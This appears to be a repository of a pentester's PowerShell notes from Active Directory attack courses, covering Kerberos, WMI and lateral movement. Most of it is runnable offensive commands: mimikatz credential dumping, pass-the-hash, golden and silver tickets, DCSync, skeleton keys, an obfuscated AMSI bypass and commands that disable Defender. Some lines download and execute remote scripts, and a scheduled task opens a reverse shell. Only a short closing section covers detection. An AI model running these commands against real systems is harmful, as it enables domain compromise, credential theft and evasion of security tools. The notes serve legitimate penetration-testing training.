($passwordTVNC | ForEach-Object ToString x2) -join "" 25 | # Hash is: cd58214a7f01a38c 26 | .\vncpwd.exe cd58214a7f01a38c 27 | 28 | -- Mikeym!k 29 | 30 | # See current NTLM stored passwords 31 | .\mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit" 32 | # see Kerberos creds 33 | .\mimikatz.exe "privilege::debug" "sekurlsa::kerberos" "exit" 34 | # Show all available tickets 35 | .\mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit" 36 | # dump kerberos tickets 37 | .\mimikatz.exe "privilege::debug" "kerberos::list /export" "exit" 38 | # pass the ticket with mimikatz 39 | .\mimikatz.exe "privilege::debug" "kerberos::ptt db1user.kirbi" "exit" 40 | # pass the hash 41 | .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:UFC-SQLDEV$ /ntlm:A601EB8ADCA5CF6DCB0A7DA10AE9ECBD /domain:USFUN" "exit" 42 | 43 | # Can we reuse a kirbi ticket? (Do step 4 of the Kerberos process) 44 | 45 | Get-NetUser -SPN | where-object {$_.ServicePrincipleName -ne "$null"} | ft -Property ServicePrincipalName,cn,samaccountname 46 | Request-SPNTicket 47 | 48 | #Disable Defender 49 | Invoke-Command -Session $sesssql -ScriptBlock { Set-ExecutionPolicy bypass; c; Set-MpPreference -DisableRealtimeMonitoring $true} 50 | 51 | # Find files that may have passwords 52 | Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} 53 | reg query "HKCU\Software\ORL\WinVNC3\Password" 54 | reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #Autologin 55 | reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s 56 | reg query "HKCU\Software\TightVNC\Server" 57 | reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s #Check the values saved in each session, user/password could be there 58 | reg query "HKCU\Software\OpenSSH\Agent\Key" 59 | 60 | # Search for passwords inside all the registry 61 | reg query HKLM /f password /t REG_SZ /s #Look for registries that contains "password" 62 | reg query HKCU /f password /t REG_SZ /s #Look for registries that contains "password" 63 | reg query HKLM /f sqlreportuser /t REG_SZ /s #Look for registries that contains "password" 64 | 65 | # From our current user can we manipulate anything on sqlreport user? 66 | Get-ObjectAcl -SamAccountName sqlreportuser -ResolveGUIDs | select IdentityReference,ObjectDN,ActiveDirectoryRights | Where-Object {$_.IdentityReference -like "*sqldev*" } 67 | # Bingo! 68 | # Write to the ACE and add a field that doesn't exist for the user you want to steal their ticket 69 | Set-DomainObject -Identity sqlreportuser -SET @{serviceprincipalname='sqlreportuser/funcrop.local'} 70 | # Now request the ticket based on the service principal name you created and save out the hash 71 | Get-DomainSPNTIcket sqlreportuser/funcorp.local | select hash -ExpandProperty hash | out-file .\sqlreportuser-hash.txt 72 | # Alternatively, you can add '-OutputFormat Hashcat' or '-OutputFormat John' to dump that way 73 | Set-domainObject -Identify sqlreportuser -Clear serviceprincipalname 74 | 75 | # Now try and crack it with john 76 | .\Desktop\shared\john-1.9.0-jumbo-1-win64\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\Documents\rockyou.txt .\Documents\sqlreportuser-hash_bom.txt 77 | .\Desktop\shared\john-1.9.0-jumbo-1-win64\john-1.9.0-jumbo-1-win64\run\john.exe .\Documents\sqlreportuser-hash_bom.txt 78 | # that was a negative, try hashcat? Same results. Maybe we have a good password generator here. 79 | .\Desktop\shared\john-1.9.0-jumbo-1-win64\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\Documents\filtered_top_100k.txt .\Documents\sqlreportuser-hash_bom.txt 80 | # that found it. Just had to iterate through some wordlists 81 | 82 | ### Getting around AMSI 83 | # 84 | sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ("1q2u" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) 85 | # that only works for the session you are in 86 | # other options for the AV are below 87 | Invoke-Command -ScriptBlock{ Set-MpPreference -DisableIOAVProtection $true} -Session $sess 88 | Invoke-Command -ScriptBlock{ Set-MpPreference -DisableRealtimeMonitoring $true} -Session $sess 89 | Set-ItemProperty -Path "Registry::HKLM\SOFTWARE\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force 90 | # Getting files around 91 | iex (iwr http://192.168.49.150/Invoke-Mimikatz.ps1) 92 | # check to see if it really got loaded in memory 93 | help Invoke-Mimikatz 94 | ## Applocker go-around 95 | # See what is there 96 | roger 97 | # if there are some default rules to specific locations, you can just use those locations by copying the script to that directory 98 | # If you are in constrained langauge mode, you have to append the function call to the end of the script 99 | 100 | # Everytime you find a hash, you have to then use Invoke-Mimikatz and run your enumeration AGAIN with the new perms 101 | Find-LocalAdminAccess -Verbose 102 | Invoke-CheckAdminAccess -Verbose 103 | 104 | 105 | ## Use CredSSP 106 | # See if it is available 107 | Get-WSManCredSSP 108 | # enable it on this box if it isn't 109 | Enable-WSManCredSSP -Role Client -DelegateComputer USFUN\PA-USER149 110 | Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\lsa\Credssp\PolicyDefaults\AllowFreshCredentialsDomain -Name WSMan -Value "WSMAN/*.us.funcorp.local" 111 | # or to make it even more global 112 | Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\lsa\Credssp\PolicyDefaults\AllowFreshCredentialsDomain -Name WSMan -Value "WSMAN/*" 113 | # then make it enabled on the box you want to hop through 114 | Invoke-Command -Credential $cred -ScriptBlock { Enable-WSManCredSSP -Role Server} -ComputerName UFC-JumpSrv 115 | Invoke-Command -Credential $cred -ScriptBlock { Enable-PSRemoting} -ComputerName UFC-JumpSrv 116 | Invoke-Command -Credential $cred -ComputerName UFC-JumpSrv -ScriptBlock {Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\lsa\Credssp\PolicyDefaults\AllowFreshCredentialsDomain -Name WSMan -Value "WSMAN/*"} 117 | # Now you can enter a pssession and still use invoke-command from that box to the next one 118 | Enter-PSSession -Credential $cred -ComputerName UFC-JumpSrv -Authentication Credssp 119 | 120 | 121 | # it pings the HFS server, so we are close! 122 | Get-SQLServerLinkCrawl -Instance UFC-SQLDev -Query "EXEC master..xp_cmdshell 'powershell invoke-expression(new-object system.net.webclient).downloadString(''http://192.168.50.149/Invoke-PowerShellTcp.ps1'') | powershell '" | select instance,customQuery -ExpandProperty CustomQuery | where {$_.Instance -like "AC-DBBUSINESS"} 123 | 124 | 125 | ## File search tricks 126 | Invoke-Command -Session $sess -scriptblock { $findDate = Get-Date -Year 2019 -Month 10 -Day 30} 127 | Invoke-Command -Session $sess -scriptblock { gci -Path C:\ -Include *.ps1 -File -Recurse -Erroraction 'silentlycontinue' -Force | where-object{ $_.LastWriteTime -ge $FindDate} } 128 | 129 | -------------------------------------------------------------------------------- /Notes/Ticket_Commands.ps1: -------------------------------------------------------------------------------- 1 | ### Attacking Kerberos using Invoke-Mimikatz 2 | # If AMSI is on, you need to obfuscate or bypass it 3 | sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" + "zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation','s','System') )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) 4 | # If you have a file server to download from 5 | iex (iwr http://IP/Invoke-Mimikatz.ps1) 6 | . .\Invoke-Mimikatz.ps1 7 | Invoke-Mimikatz -Command '"sekurlsa::pth /user:sqldevadmin /domain:USFUN /ntlm:ce03434e2f83b99704a631ae56e2146e /run:powershell.exe"' 8 | #Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /ntlm: /run:powershell.exe"' 9 | # Gives a new shell, now create a new session 10 | $sess = New-PSSession -ComputerName 11 | Invoke-Command -Session $sess -FilePath .\Invoke-Mimikatz.ps1 #put file in session memory 12 | Enter-PSSession -Session $sess 13 | # Now you are in the new environment with the new creds, but the file you invoked is still in memory to run 14 | Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername 15 | 16 | # once you find the kbt, you can make a golden ticket! 17 | Invoke-Mimikatz -Command '" 18 | kerberos::golden 19 | /user:Administrator 20 | /domain: 21 | /sid: 22 | /krbtgt: 23 | /id:500 /groups:512 24 | /ticket # this saves the ticket to a file for later, use '/ptt' for injecting into the current process 25 | /startoffset:0 # When it is available, negative numbers puts it in the past 26 | /endin:600 #lifetime, default for AD is 600 minutes 27 | /renewmax:10080 # This is default AD setting 28 | "' 29 | # All together 30 | Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /krbtgt: /id:500 /groups:512 /ptt /startoffset:0 /endin:600 /renewmax:10080"' 31 | 32 | # You could also do a DCSync attack 33 | Invoke-Mimikatz -Command '"lsadump::dcsync /user:usfun\krbtgt"' 34 | 35 | ## Getting a silver ticket 36 | # Forge a TGS by taking the hash of a service account and signing the ticket with the NTLM hash (step 5 of Kerberos) 37 | Invoke-Mimikatz -Command '" "' 38 | kerberos::golden 39 | /user:Administrator 40 | /domain: 41 | /sid: 42 | /target: 45 | /ptt # 46 | /startoffset:0 # When it is available, negative numbers puts it in the past 47 | /endin:600 #lifetime, default for AD is 600 minutes 48 | /renewmax:10080 # This is default AD setting 49 | 50 | 51 | #Once you have a ticket, look real quick 52 | klist 53 | # If you get a host ticket, you can create a task that returns a reverse shell! 54 | schtasks /create /S UFC-JumpSrv /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe iex(New-Object Net.WebClient).DownloadString(''http://IP:port/Invoke-PowerShellTcp.ps1''')'" 55 | # now that it is created, you can run it when you want 56 | schtasks /Run /S UFC-JumpSrv /TN "STCheck" 57 | # use powercat to be a netcat listener 58 | powercat -l -v -p 443 -t 1000 59 | 60 | #### Skeleton Keys 61 | # Patch the domain controller (lsass process) to allow access as any user with a single password 62 | # Not persistent across reboots. Below gives password as "mimikatz" 63 | # must be done with domain admin privileges, and can only be done once (lsass won't let you do it twice) 64 | Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName DC 65 | Enter-PSSession -ComputerName DC -Credential dcorp\administrator 66 | # now this works anywhere 67 | 68 | # If lsass runs as a protected process, you can still do this but VERY noisy 69 | # Must copy of the mimidriv.sys to the target disk then run these: 70 | mimikatz # privilege::debug 71 | mimikatz # !+ 72 | mimikatz # !processprotect /process:lsass.exe /remove 73 | mimikatz # misc::skeleton 74 | mimikatz # !- 75 | # Now the skeleton key is in! 76 | 77 | ## DSRM password dump 78 | # only available on a domain controller and you have domain admin privs already...just need persistence 79 | Invoke-mimikatz -Command ' "token::elevate" "lsadump::sam" ' -ComputerName domaincontroller 80 | # must change the logon behavior in the registry to allow logon 81 | Enter-PSSession -Computername domaincontroller 82 | Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\LSA" -Name "DsrmAdminLogonBehavior" -Value 2 83 | Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\LSA" 84 | # now you can past the hash with mimikatz using the domain controller 85 | gci \\domaincontroller\C$ 86 | 87 | 88 | ### Custom SSP 89 | # Copy mimilib.dll to system32 directory 90 | copy-item mimilib.dll C:\Windows\System32 91 | # Update the registry 92 | $pack = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\lsa\OSConfig\ -Name 'Security Packages' | select -ExpandProperty 'Security Packages' 93 | $pack += "mimilib" 94 | Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $pack 95 | Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $pack 96 | # Now you can inject with mimikatz 97 | Invoke-Mimikatz -Command '"misc::memssp"' 98 | -------------------------------------------------------------------------------- /Notes/WMI_Commands.ps1: -------------------------------------------------------------------------------- 1 | # Enabled on ALL windows machines by default! 2 | # Powershell Version 2 uses wmi, leverages port 135 3 | # Powershell Version 3 uses cim, leverages port 135 or 5385/5386. Very firewall & NAT friendly 4 | 5 | # to learn what is available, you can run this to see different namespaces (CIMV2 is default, not DEFAULT) 6 | Get-WmiObject -Namespace "root" -Class "__Namespace" | select name 7 | Get-CimInstance -Namespace "root" -Class __Namespace | select name 8 | # pull namespaces that are embedded, you can run this recursive function 9 | function Get-WmiNamespace{ Param( $Namespace='root') Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object{ ($ns = '{0}\{1}' -f $_.__Namespace,$_.Name) Get-WmiNamespace $ns } } 10 | 11 | # Get the name of all the classes that relate to the bios 12 | Get-WmiObject -Class *bios* -List 13 | Get-CimClass -ClassName *bios* 14 | 15 | # executing it 16 | Get-WmiObject -Class Win32_BIOS 17 | Get-CimInstance -ClassName Win32_BIOS 18 | 19 | # Three ways to filter 20 | # 1. Use the -Filter command 21 | # 2. Use the Where-Object -- this is super slow because all the results ahve to return before it hits the where clause 22 | # 3. Query parameter 23 | 24 | # Examples of the three ways, can use Get-CimInstance too 25 | Get-WmiObject -Class Win32_process -Filter 'Name = "explorer.exe"' 26 | Get-WmiObject -Class Win32_process | where name -eq "explorer.exe" # version 3+ 27 | Get-WmiObject -Class Win32_process | Where-Object { $_.Name -eq "explorer.exe" } # version 2 28 | Get-WmiObject -Query "select * from Win32_process where Name = 'explorer.exe'" 29 | 30 | ## Helpful tasks 31 | # installed AV 32 | Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName AntiVirusProduct 33 | Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName FirewallProduct 34 | Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName AntiSpywareProduct 35 | # Here are the tricks. ProductState has a set of bitflags to look at. If you convert it to hex, you can see what each one is 36 | $hx = ConvertTo-Hex $item.ProductState 37 | $mid = $hx.Substring(3,2) 38 | if($mid -match "00|01") # it is not enabled 39 | $end = $hx.Substring(5) 40 | if($end -eq "00") # it is up to date 41 | # installed patches 42 | # security logs 43 | 44 | 45 | ## You can download the WMI Code Creator to help make your own. Handy if you need that. 46 | 47 | ## Now run across boxes 48 | Get-WmiObject -Class Win32_OperatingSystem -ComputerName 127.0.0.1 -Credential $cred 49 | # or to run across WSMAN 50 | $sess = New-CimSession -ComputerName localhost -Credential $cred 51 | Get-CimInstance -CimSession $sess -ClassName win32_operatingSystem 52 | 53 | ## Registry uses StdRegProv class 54 | Get-WmiObject -Namespace root\default -Class StdRegProv -LIst | select -ExpandProperty Methods 55 | Get-CimInstance -Namespace root\default -ClassName StdRegProv 56 | # Constants for Registry Hives 57 | $HIVE_HKROOT = 2147483648 58 | $HIVE_HKCU = 2147483649 59 | $HIVE_HKLM = 2147483650 60 | $HIVE_HKU = 2147483651 61 | $REG_SZ = 1 62 | $REG_EXPAND_SZ = 2 63 | $REG_BINARY = 3 64 | $REG_DWORD = 4 65 | $REG_MULTI_SZ = 7 66 | $REG_QWORD = 11 67 | ### sample task 68 | # pull IE Typed URLs 69 | Invoke-WmiMethod -Namespace root\default -Class stdRegProv -Name EnumKey @($HIVE_HKCU,"software\microsoft\Internet explorer") | select -ExpandProperty sNames 70 | Invoke-WmiMethod -Namespace root\default -Class stdRegProv -Name GetSTringValue @($HIVE_HKCU,"software\microsoft\internet explorer\typedurls", "url1") 71 | # To go across remote computers 72 | $regProd = Get-WmiObject -Namespace root\default -Class StdRegProv -List -ComputerName 192.168.50.149 -Credential $cred 73 | $regProd.GetStringValue($HIVE_HKCU, "software\microsoft\internet explorer\typedurls","url1") | select -ExpandProperty sValue 74 | # To make things simpler, go get Registry.ps1 from darkoperator/Posh-SecMod on github 75 | # Pull Putty and RDP passwords from registry 76 | # Get from Arvanaghi on Github 77 | Invoke-SessionGopher.ps1 78 | Invoke-SessionGopher -Credential $creds -AllDomain 79 | Invoke-SessionGopher -ComputerName target -Credential $creds -thorough 80 | 81 | ## Basic Enum 82 | Get-WmiObject -Class Win32_IP4RouteTable 83 | Get-WmiObject -Class Win32_UserAccount 84 | Get-WmiObject -Class Win32_Group 85 | # Also look at ActiveDirectory with ldap (must be on a computer within the domain) 86 | Get-WmiObject -Namespace root\directory\ldap -Class ds_domain 87 | Get-WmiObject -Namespace root\directory\ldap -Class ds_computer 88 | # command to find the domain controller 89 | Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | ?{ $_.ds_useraccountcontrol -eq 532480} 90 | # Groups and Group members 91 | Get-WmiObject -class Win32_GroupInDomain | ForEach-Object{ [wmi]$_.PartComponent } 92 | Get-WmiObject -Class Win32_GroupUser | ForEach-Object{ $_.GroupComponent -match "Domain Admins"} | %{ [wmi]$_.PartComponent} 93 | # sometimes the properties come back with NULLs, you can remove all those by adding this pipe to the end of your stuff: 94 | ForEach-Object{ if( $_.value -and $_.name -notmatch "__"){ @{$($_.name) = $($_.value) } } } 95 | 96 | ## create a shadow copy 97 | (Get-WmiObject -Class Win32_Shadowcopy -list).create("C:\", "LocationYouWantTheCopy") 98 | $link = (Get-WmiObject -Class Win32_Shadowcopy).deviceObject + "\" 99 | cmd /c mklink /d C:\Shadowcopy "$link" 100 | 101 | ### Using WMI to move files around 102 | # Send-InfoWMI from WMI_Backdoor or PSTP_Master on github. Creates data inside a WMI Object 103 | Send-InfoWMI -DataToSend (GEt-Process) -ComputerNmae 192.168.0.1 -Username Administrator 104 | Get-InfoWMI 105 | Send-InfoWMI -FiletoSend C:\test\evil.ps1 -ComputerName 192.168.1.1 -Username Administrator 106 | Get-InfoWMI -Outfile C:\test\evil.ps1 107 | 108 | ## Use WMI to create your own service 109 | # ArgumentList is: desktopInteract, Displayname, Userisnotified,Loadordergroup,loadordergroupdependencies,Name,Pathname,ServiceDependencies,Own Process,StartMode,StartName,StartPassword 110 | $servicetype = [byte] 16 111 | $errorcontrol = [byte] 1 112 | Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\Calc.exe",$null,$servicetype, "Manual", "NT Authority\System","" 113 | # Return value of 0 is success! Then you can verify it was made 114 | Get-WmiObject -Class Win32_service -Filter 'Name = "WinPerf"' 115 | # and now run it 116 | Get-WmiObject -Class Win32_service -Filter 'Name = "WinPerf"' | Invoke-WmiMethod -Name StartService 117 | # And to remove it 118 | Get-WmiObject -Class Win32_service -Filter 'Name = "WinPerf"' | Remove-WmiObject 119 | # Now weaponize it! 120 | Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell -e ",$null,$servicetype, "Manual", "NT Authority\System","" -ComputerName 192.168.1.1 -Credential $cred 121 | Get-WmiObject -Class Win32_service -Filter 'Name = "WinPerf"' -ComputerName 192.168.1.1 -Credential $cred | Invoke-WmiMethod -Name StartService 122 | 123 | 124 | ## WMI Events can be used for almost any event to execute WMI actions. Way less consumption of resources. 125 | # WMI Events are made of Consumers and Types which are performed by polling (possible to miss events) 126 | # To list and see what you got for Extrinsics (not built-in) 127 | . .\Get-WmiNamespace.ps1 128 | $namespaces = Get-WmiNamespace 129 | foreach ($ns in $namespaces) { Get-WmiObject -Namespace $ns.FullName -List | where {$_.__SUPERCLASS -eq '__ExtrinsicEvent'} } 130 | # to see what you got for Consumers 131 | foreach ($ns in $namespaces) { Get-WmiObject -Namespace $ns.FullName -List | where {$_.__SUPERCLASS -eq '__EventConsumer'} } 132 | # Helpful classes are: 133 | # ActiveScriptEventConsumer -> Executes a predefined VBScript or JScript 134 | # CommandLineEventConsumer -> Launches a process with SYSTEM privs 135 | # LogFileEventConsumer -> Write data to a log file 136 | # NTEventLogEventConsumer -> Logs a message to the Windows Event Log 137 | # SMTPEventConsumer -> Sends an email using SMTP 138 | ## To make your own, you need a Filter, Consumer, and Binding 139 | # Let's make an Event that runs a VBScript when the system uptime is between 240 and 325 seconds (would be after reboot and ran as System) 140 | $query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >- 240 AND TargetInstance.SystemUpTime < 325" 141 | $filterName = "WindowsSanity" 142 | $filterNS = "root\cimv2" 143 | $filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL";Query=$query} 144 | $consumerPath = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{name=$filterName; ScriptFileName=$VBSFile; ScriptingEngine="VBScript"} 145 | $Payload = "whoami" 146 | $consumerPath = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{name=$filterName; CommandLineTemplate=$Payload} 147 | Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filterPath; Consumer=$consumerPath} 148 | # The above is what "Add-Persistance" does from the nishang github package, as well as Persistance from PowerSploit! 149 | 150 | ## Security Descriptors 151 | # You can modify ACE of DCOM/WMI to provide non-admin execution. You can use Set-RemoteWMI from nishang 152 | Set-RemoteWMI -Username me -ComputerName 192.168.0.1 -Credential domain\admin 153 | 154 | ### Red-Team Tools 155 | # PowerProvider & WheresMyImplant by 0xbadjuju on github 156 | # PowerLurk by Sw4mpf0x on github 157 | # WMIImplant by ChrisTruncer on github 158 | 159 | ### Blue-Team Tools 160 | ## Manually 161 | Get-WmiObject __eventFilter -Namespace root\subscription 162 | Get-WmiObject activeScriptEventConsumer -Namespace root\subscription 163 | Get-WmiObject CommandLineEventConsumer -Namespace root\subscription # Look at the CommandLineTEmplate field for suspicious C2 stuff (especiially for base64 stuff 164 | Get-WmiObject __filtertoconsumerbinding -Namespace root\subscription 165 | # Can also make consumers that alert on things like registry (like catching the Set-RemoteWMI.ps1 above), make the action useful though 166 | $Query = "Select * from RegistryValueChangeEvent where HIVE='HKEY_LOCAL_MACHINE' AND KeyPath = 'Software\\Microsoft\\Ole' AND 'ValueName='MachineLaunchRestriction '" 167 | Register-WmiEvent -Query $query -Action {Write-Host "Modification on DCOM permissions"} 168 | # Win10 and Server 2016 raise Event 5861 in operational logs when a new consumer is created 169 | # If you turn on trace logs (makes HUGE volume of logs), Event 11 and 20 can see when there is a C2 operation happening with WMI on your box 170 | ## Tools Available 171 | # WMIMon by luctalpe on github that provides a Real-time Event Trace Log activity. However, not scalable! 172 | .\WMIMon.exe 173 | # WMIMonitor by realparisi on github to monitor creation of consumers to create an entry with Event ID 8 in application event log 174 | # CIMSweep can sweep networks using WinRM by PowerShellMafia on github 175 | Import-Module cimsweep.psd1 176 | Get-Command -Module CimSweep 177 | $sess = New-CimSession -ComputerName 192.168.0.1 178 | Get-CSTypedURL -CimSession $sess 179 | Get-CSWmiPersistanceL -CimSession $sess 180 | # WMI-IDS is an agentless HIDS 181 | Import-Module .\WMI_IDS.psm1 182 | Get-WMIPersistenceItem 183 | New-AlertTrigger -EventConsumer CommandLineEventConsumer -TriggerType Creation | New-AlertAction -EventLogEntry | Register-Alert -Computername localhost 184 | # other tools are Uproot by Invoke-IR and Kansa by davehull on github. 185 | 186 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowershellActiveDirectoryAbuse 2 | Pentester Academy notes and commands from the CRTP/CRTE/PACES courses 3 | --------------------------------------------------------------------------------